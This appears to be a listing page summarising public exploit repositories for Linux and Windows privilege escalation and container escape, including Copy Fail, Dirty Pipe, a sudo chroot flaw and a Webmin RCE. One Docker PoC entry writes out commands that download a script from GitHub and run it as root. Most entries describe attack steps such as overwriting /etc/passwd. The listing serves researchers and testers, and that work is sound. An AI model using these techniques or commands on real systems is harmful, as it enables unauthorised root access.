copy-fail-CVE-2026-31431-detection-probe

Linux 内核本地提权探测套件 —— Copy Fail 与 Dirty Frag 安全检测工具，用于两个相关的 Linux 内核本地权限提升漏洞家族 —— Copy Fail （CVE-2026-31431）和 Dirty Frag （CVE-2026-43284 / CVE-2026-43500）。两者自 2017 年起影响所有主流发行版，任何无特权本地用户均可利用，且两者需要独立 的缓解措施。 这些探测程序不会打开任何套接字，也不会执行任何加密或网络操作。 检测完全基于内核版本、发行版软件包元数据、模块状态及生效中的缓解标志 —— 上述信息均无需 sudo...

CVE-2022-0847-DirtyPipe-

CVE-2022-0847-DirtyPipe-Exploits 一个针对渗透测试人员和红队成员的漏洞利用和文档集合，可用于辅助利用 Linux Dirty Pipe 漏洞。 关于漏洞 Dirty Pipe（CVE-2022-0847）是 Linux 内核中的一个本地权限提升漏洞，可能允许非特权用户执行以下操作： 修改/覆盖任意只读文件，例如 /etc/passwd。 获取提权后的 Shell。 受影响版本 Linux 内核版本高于 5.8 的受影响。 截至目前，该漏洞已在以下 Linux 内核版本中得到修复： 5.16.11 5.15.25 5.10.102...

CVE-2021-41091

CVE-2021-41091 Moby（Docker Engine）中的一个漏洞允许无权限用户在宿主机上遍历目录并直接执行 Docker 中的程序。如果 Docker 中存在 suid 程序，用户可在宿主机上以 suid 身份执行它。 PoC 在容器终端中下载 docker.sh 文件，然后以 root 用户身份执行： root@kitploit: wget https://raw.githubusercontent.com/jrbH4CK/CVE-2021-41091/main/docker.sh chmod +x docker.sh ./docker.sh 现在在宿主机中下载...

CVE-2025-26125

描述 该 PoC 程序利用 IMFForceDelete 驱动程序，该驱动程序暴露了一个 ioctl，允许非特权用户删除文件和文件夹。通过使用 ZDI 和 Halov 解释的技术，我们可以将其转化为权限提升，该技术利用 MSI 回滚机制，该机制旨在出现问题时维护系统完整性。通过删除它并以弱 DACL 和伪造的 RBF 和 RBS 文件重新创建，我们可以获得以 NT AUTHORITY\SYSTEM 身份对系统进行任意更改的能力。 视频 https://github.com/user-attachments/assets/58e343d2-97a4-4ca3-9deb-df911b717a...

ipv6_frag_escape

IPV6FRAGESCAPE 一个针对CentOS / RHEL 10的可靠的未特权容器/监狱逃逸概念验证。 它利用了Linux内核中一个现已修复的IPv6分段漏洞，位于ip6appenddata函数中（上游通过 38becddc 修复，无CVE），这是一个 slab 内的线性溢出，溢出到数据包自身头部对象尾部的 skbsharedinfo 结构中。本README仅记录利用链，不涵盖触发条件。 范围 目标：CentOS / RHEL 10（内核 6.12.x，例如 6.12.0-242.el10）。 起始条件：一个位于网络隔离容器内的未特权进程，能够访问未特权用户命名空间。...

CVE-2025-32463

CVE-2025-32463 通过恶意 nsswitch.conf 结合 sudo -R 实现 Sudo 本地权限提升。受影响版本 1.9.14 – 1.9.17 📘 简介 Sudo 是类 Unix 系统上广泛使用的命令行工具，允许授权用户以提升的权限执行命令。它在贯彻最小权限原则和维护管理活动的安全审计追踪方面发挥着关键作用。 Stratascale 网络安全研究组 CRU 在 Sudo 中发现了两处本地权限提升漏洞，其中之一为 CVE-2025-32463。该漏洞影响 Sudo 1.9.14 至 1.9.17 版本，即使未为用户定义任何 sudo 规则，无特权的本地用户也能通过滥用...

CVE-2025-32463

参考：https://www.stratascale.com/vulnerability-alert-CVE-2025-32463-sudo-chroot 在运行 Sudo v1.9.15p5 的 Ubuntu 24.04.2 LTS 服务器上执行该 PoC，使用一个未定义任何 Sudo 规则的非特权用户，最终会在 chroot 环境之外获得一个 root shell。 lowpriv@prod:/CVE-2025-32463$ id uid=1001lowpriv gid=1001lowpriv groups=1001lowpriv lowpriv@prod:...

CVE-2021-3560

CVE-2021-3560 基于C语言的可靠CVE-2021-3560漏洞利用程序。 摘要： 昨天我偶然发现了Kevin Backhouse的这篇博客文章（发现了这个漏洞），我尝试了文章中提供的bash命令，令我惊讶的是，它居然在我的Kali Linux机器上生效了！ CVE-2021-3560是polkit上的一个身份验证绕过漏洞，它允许无特权的用户通过DBus调用特权方法。该PoC利用此漏洞调用由accountsservice提供的两个特权方法（CreateUser 和 SetPassword），从而允许我们创建一个特权用户并为其设置密码。...

below-log-race-poc

below-log-race-poc CVE-2025-27591 漏洞利用 Below 权限提升 描述 此仓库包含 CVE-2025-27591 的概念验证漏洞利用代码，该漏洞是 below 实用工具中的一个权限提升漏洞。 问题源于 below 不当处理 /var/log/below/ 下的日志文件，允许攻击者用符号链接替换日志，指向诸如 /etc/passwd 之类的敏感文件。 通过利用这一点，非特权用户可以注入一个新的 root 用户条目并提升权限。 漏洞利用脚本 该漏洞利用实现为一个简单的 Bash 脚本 exploitCVE-2025-27591.sh，其功能如下： 1...

CVE-2021-22911

CVE-2021-22911 Versión modificada del exploit original para ahorrar tiempo en el restablecimiento de contraseñas para usuarios sin privilegios El script asume que puede registrar la cuenta o que ya conoce las credenciales de usuarios sin privilegios. Cambie la contraseña a la contraseña válida en...

WebminRCE-exploit

WebminRCE-exploit CVE-2022-0824, CVE-2022-0829 - 文件管理器权限利用 用于测试此PoC的易受攻击应用程序可在此处找到：here，以Docker镜像形式提供。 前提条件： Python3 Requests module 描述 漏洞 不正确的访问控制导致远程代码执行 安全用户（低权限用户）可以访问文件管理器模块，而该模块默认可被限制访问。 利用载荷 利用不正确的访问控制漏洞，将cgi文件上传到Webmin服务器。 阶段1（身份验证） 使用安全/低权限用户进行身份验证并登录服务器。 阶段2（将文件下载到服务器）...

PoC_CVE-2017-0807

Prueba de concepto de CVE-2017-0807 Esta es una aplicación de demostración con una interfaz deliberadamente descuidada para el CVE-2017-0807 reportado por Efthimios Alepis y Constantinos Patsakis. La vulnerabilidad ilustra que debido a problemas de seguridad en todas las versiones de Android hast...

CVE-2020-16938

CVE-2020-16938 CVE-2020-16938 是一个漏洞，允许非特权用户对整个磁盘进行无限制的文件读取。该漏洞最初由我的朋友 Jonas 发现并报告。他的 PoC 可以在这里找到。 我的漏洞利用版本通过一系列 Windows API 调用来直接获取句柄，而无需使用 7zip。PoC 可以在 poc 文件夹中找到，该文件夹反映了我之前发布的推文。 简而言之，该漏洞允许你转储整个磁盘。转储文件本身可以使用 7zip 或任何其他支持 NTFS 的解析器打开。...

CVE-2021-3490-POC

CVE-2021-3490 致谢 https://github.com/chompie1337 复现步骤 从Ubuntu版本页面下载 ubuntu-20.04.6-live-server-amd64.iso 并安装到虚拟机中。 root@kitploit: wget https://releases.ubuntu.com/20.04/ubuntu-20.04.6-live-server-amd64.iso 安装ISO后，将Ubuntu服务器完整安装到虚拟机中，并运行以下命令。 root@kitploit: sudo apt update sudo apt install...

Astra Linux – Vulnerability found in Linux 6.1, Linux 6.12

In the Linux kernel, the following vulnerability has been resolved: ppp: The requirement for CAPNETADMIN in the target netns is necessary for unattached IOCTls. The opening of /dev/ppp is currently allowed for file-fcred-userns, while unattached administrative IOCTls operate on...

CVE-2026-31431

Description: Cfail is my implementation in C++ x86-64 Assembly of CVE-2026-31431 aka Copyfail, with no dependecy required at all, included libc. In fact, you obtain am universal executable able to run stand-alone on every Linux x86-64 distribution, thanks to a minimal implementation of the standa...

CVE-2026-31431-copy-fail

CVE-2026-31431 复制失败漏洞利用 第 1 部分：理论概念（CVE-2026-31431 如何工作） 系统不会持续直接从缓慢的物理硬盘获取文件——这会浪费大量时间——Linux 系统会在 RAM 中创建文件的临时副本，称为页缓存（Page Cache） 。这使得系统几乎可以在 RAM 内瞬时执行和读取文件。 这一过程依赖两个关键函数： AFALG： 负责处理内核中文件和数据的加密操作。 splice： 负责以极快速度将数据直接从一处内存位置移动到另一处（零拷贝，Zero-Copy）。 该漏洞利用会操纵这两个函数。当系统尝试在内存中处理并执行文件时，它会遇到注入的载荷代码。由于...

evil-mhyprot-cli

evil-mhyprot-cli Una PoC para el controlador vulnerable Mhyprot2.sys que permite leer/escribir memoria en kernel/usuario mediante un proceso de usuario sin privilegios. libmhyprot Wiki Descripción general Lo que podemos hacer con esta CLI es lo siguiente: Leer/Escribir cualquier memoria del kerne...

CVE-2026-76642

util-linux versions through 2.41.5 and 2.42.2 fail to check mount helper exit status before running post-mount hooks, allowing unprivileged users to execute privileged operations on pre-existing filesystems. Attackers can exploit X-mount.idmap or X-mount.owner hooks to clone filesystems with...

CVE-2026-31431-Copy-Fail

CVE-2026-31431-Copy-Fail xpl0ited by infrar3d This repository contains a proof‑of‑concept exploit for CVE-2026-31431 Copy Fail. CVE-2026-31431, known as "Copy Fail", is a high-severity Local Privilege Escalation LPE flaw in the Linux kernel that has been present for nearly a decade. It allows an...